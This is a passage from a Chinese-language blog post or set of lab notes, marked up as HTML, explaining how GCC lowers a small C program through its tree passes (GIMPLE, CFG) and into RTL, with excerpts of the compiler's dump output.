&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;gcc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; -fdump-tree-&lt;&#x2F;span&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;original,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; gimple, lower, cfg} test.c&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;根据&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;gcc.gnu.org&#x2F;onlinedocs&#x2F;gcc&#x2F;Developer-Options.html&quot;&gt;文档&lt;&#x2F;a&gt;，生成文件的数字是“遍&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;（pass）数，数字后的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;t&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;代表&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;tree，最后的扩展名是遍的名字。所以我们可以知道文件生成的顺序。&lt;&#x2F;p&gt;
&lt;p&gt;test.c&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;c&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;#&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;include&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;stdio.h&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;#&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;define&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; SECRET&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 42&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; main&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;() {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;    int&lt;&#x2F;span&gt;&lt;span&gt; a &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 40&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span&gt;a &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; ==&lt;&#x2F;span&gt;&lt;span&gt; SECRET&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;) {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;        puts&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;yes&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    return&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;生成的中间“树&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;：&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;gcc-tree-fs8.png&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;gcc-tree-fs8.13238fc09a0b76bc.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;gcc-tree-fs8.539b39d078c47f4d.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;gcc-tree-fs8.ce7d3e8f26a85c1d.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;gcc-tree-fs8.539b39d078c47f4d.webp&quot;
	alt=&quot;gcc-tree&quot;
	
	
	height=&quot;1075&quot;
	width=&quot;1960&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;我们对比&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;if&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;那句，在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;original&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里基本没有改变，只是把大括号也往里缩进了。&lt;&#x2F;p&gt;
&lt;p&gt;到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;gimple&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里把&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;if&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;通过后的代码块用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;goto&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和标记改写了：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;c&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span&gt;a &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;==&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 40&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; goto&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;D.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;2312&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; else goto&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;D.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;2313&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;D.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;2312&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;puts&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;yes&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;D.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;2313&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;从&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;gimple&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;lower，if&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;这句没有改变。有改变的是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;lower&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里消除了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;gimple&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里多嵌套的一对花括号和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;return&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;语句。&lt;&#x2F;p&gt;
&lt;p&gt;到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;cfg&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里改变的主要是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;goto&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的标记：之前和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;gimple&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的中间变量一样，是“&amp;lt;D.&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;几几几几&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&amp;gt;”的形式，现在是“&amp;lt;bb 几&amp;gt;&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;（中间变量仍然是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;D&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;开头形式）&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;c&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span&gt;a &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;==&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 40&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;  goto&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;bb &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;; [&lt;&#x2F;span&gt;&lt;span&gt;INV&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;else&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;  goto&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;bb &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;; [&lt;&#x2F;span&gt;&lt;span&gt;INV&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;bb &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; :&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;puts&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;yes&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;bb &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; :&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;D.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;2314&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;我感觉&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;tree&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;主要做的事就是用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;goto&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;来表示流程。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;查看中间代码生成结果：Code generation result: gcc -fdump-rtl-all
hello.c&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;gcc.gnu.org&#x2F;onlinedocs&#x2F;gccint&#x2F;RTL.html#:~:text=RTL%20is%20inspired%20by%20Lisp%20lists&quot;&gt;这&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;RTL&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;根本就是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Lisp！&lt;&#x2F;a&gt;打开&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Lisp&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的高亮，看起来舒服多了。&lt;&#x2F;p&gt;
&lt;p&gt;test.c&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;与上一个实验相同，我们和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;.expand&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;对比&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;if&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;语句（因为后面优化了怕差异太大）&lt;&#x2F;p&gt;
&lt;p&gt;RTL&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;基本上是汇编&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;+&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;无限多寄存器，所以汇编的一些指令和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;RTL&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;指令很相似，比如跳转：RTL&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;jump_insn&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;expand&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里总共只有一句跳转，所以&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;if&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;一定是它（其实&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&quot;test.c&quot;:6:8&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;也指明了，这一段是第&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;6&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;行&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;common-lisp&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;(jump_insn &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;7 6 8 2&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;set&lt;&#x2F;span&gt;&lt;span&gt; (pc)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        (if_then_else (ne (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;reg&lt;&#x2F;span&gt;&lt;span&gt;:CCZ &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;17&lt;&#x2F;span&gt;&lt;span&gt; flags)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                (const_int &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt; [0]))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            (label_ref &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            (pc))) &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;test.c&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:6:8 &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;-1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;nil&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;-&amp;gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这句话相当于&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;pc = r17 != 0? label(11): pc&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;所以说上一句肯定是把&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;test.c&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里的判断结果放到了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;r17&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;common-lisp&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;(insn &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;6 5 7 2&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;set&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;reg&lt;&#x2F;span&gt;&lt;span&gt;:CCZ &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;17&lt;&#x2F;span&gt;&lt;span&gt; flags)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;compare&lt;&#x2F;span&gt;&lt;span&gt;:CCZ (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;mem&#x2F;c&lt;&#x2F;span&gt;&lt;span&gt;:SI (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;plus&lt;&#x2F;span&gt;&lt;span&gt;:DI (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;reg&#x2F;f&lt;&#x2F;span&gt;&lt;span&gt;:DI &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;77&lt;&#x2F;span&gt;&lt;span&gt; virtual-stack-vars)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                    (const_int &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;-4&lt;&#x2F;span&gt;&lt;span&gt; [0xfffffffffffffffc])) [1 a+0 S4 A32])&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            (const_int &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;40&lt;&#x2F;span&gt;&lt;span&gt; [0x28]))) &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;test.c&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:6:8 &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;-1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;nil&lt;&#x2F;span&gt;&lt;span&gt;))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;mem&#x2F;c……一直到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;A32&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;那句可以理解成“当前栈顶&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;-4&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;——也就是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;main&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;函数的栈顶&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;-4——得到变量&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;a&lt;&#x2F;p&gt;
&lt;p&gt;compare&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;拿&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;a&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;40&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;比，并且把结果通过&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;set&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;放到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;r17&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里。compare&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;应该对应汇编的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;cmp，所以相等是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;0，不等非&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;0。&lt;&#x2F;p&gt;
